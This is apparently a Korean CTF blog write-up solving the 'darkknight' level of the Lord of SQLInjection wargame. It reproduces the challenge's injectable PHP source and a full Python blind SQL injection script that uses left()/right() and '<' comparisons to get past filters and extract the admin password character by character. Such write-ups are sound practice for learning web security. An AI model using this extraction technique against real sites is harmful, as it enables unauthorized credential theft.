본문 바로가기

챌린지/los.rubiya.kr

Lord of SQLInjection - darkknight

12번째 문제인 darkknight다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

이전 문제처럼 substr이 필터링되고 있으며 ascii 함수, 동일비교 연산자('=')도 필터링되고 있다. 특이한 것은 no라는 파라미터가 하나 더 추가되었는데 두번째 쿼리에서는 이를 요구하지 않기 때문에 굳이 구할 필요는 없지만 연습 삼아 구해볼 수도 있다.

 

만약 admin 계정의 no 컬럼 값을 구하고자 한다면 이전과 비슷하게 "1 or left(id, 1) < 'b' && no < {}"처럼 해서 {}을 0부터 하나씩 증가시켜가면서 비교하면 될 것이다. 이번에는 left() 함수를 사용해보았는데 이는 매개변수로 주어진 문자열에서 왼쪽에서 몇글자 만큼 떼오는 함수다. 이를 응용하면 substr() 함수를 아예 사용할 수 없는 경우에서도 비슷하게 구현할 수 있는데 원리는 다음 그림과 같다.

위처럼 left 함수로 떼온 n길이 문자열에서 right 함수로 맨 오른쪽 문자를 떼오면 n번째 문자를 얻을 수 있다. 이 경우 right() 함수의 파라미터로 left() 함수의 결과값이 들어가야 한다. 지금은 substring()으로 우회할 수 있지만 나중에 아예 "substr"이란 단어 자체가 필터링되는 경우 유용할 것이기 때문에 이번 문제에서는 left(), right() 함수를 사용해보았다.

 

이전처럼 동일비교 연산자가 필터링되어있기 때문에 'a=5' 같은 조건식 대신 'a<6' 같은 조건식으로 판단할 수 있다. 이번 문제는 파라미터가 추가되었다는 점을 제외하면 전반적으로 이전 문제와 동일하다.

import requests

password = ''
password_length = 0
no = 0

URL = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}

for estimated_value in range(100):
    query={'pw': '1',
           'no': '1 or left(id, 1) < \"b\" and no < ' + str(estimated_value)}
    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if("Hello admin" in res.text):
        no = estimated_value - 1
        print("admin's no is {}".format(no))
        break

for estimated_length in range(100):
    query={'pw': '1',
           'no': '1 or left(id, 1) < \"b\" and no < ' + str(no+1) + \
           ' and length(pw) < ' + str(estimated_length)}
    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if("Hello admin" in res.text):
        password_length = estimated_length - 1
        print("admin's password length is {}".format(password_length))
        break
      
if password_length < 1:
    print("Password length unknown")
    exit()

for current_password_length in range(1, password_length+1) :
    for password_chr in range(ord('0'),ord('z')+1) :        
        query={'pw': '1',
               'no': '1 or left(id, 1) < \"b\" and no < ' + str(no+1) + \
               ' and right(left(pw, ' + str(current_password_length) +'), 1) < \"' + chr(password_chr) + '\"'}
        
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if("Hello admin" in res.text):
            password = password+chr(password_chr - 1)
            print(password)
            break

if len(password) == password_length:
    print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))
        

실행해보면 어렵지 않게 비밀번호를 찾을 수 있었다.

 

 

실행 결과에서 볼 수 있듯이 no는 결과에 아무런 영향을 끼치지 않았다. 단지 파라미터가 하나더 추가됐다는 것 말고는 차이가 없는데 원래 문제에서는 no 값도 찾는게 의도가 아니었을까 싶다. 실수로 누락되었다던지...

'챌린지 > los.rubiya.kr' 카테고리의 다른 글

Lord of SQLInjection - giant  (0) 2021.01.04
Lord of SQLInjection - bugbear  (0) 2021.01.03
Lord of SQLInjection - golem  (0) 2020.12.31
Lord of SQLInjection - skeleton  (0) 2020.12.30
Lord of SQLInjection - vampire  (0) 2020.12.30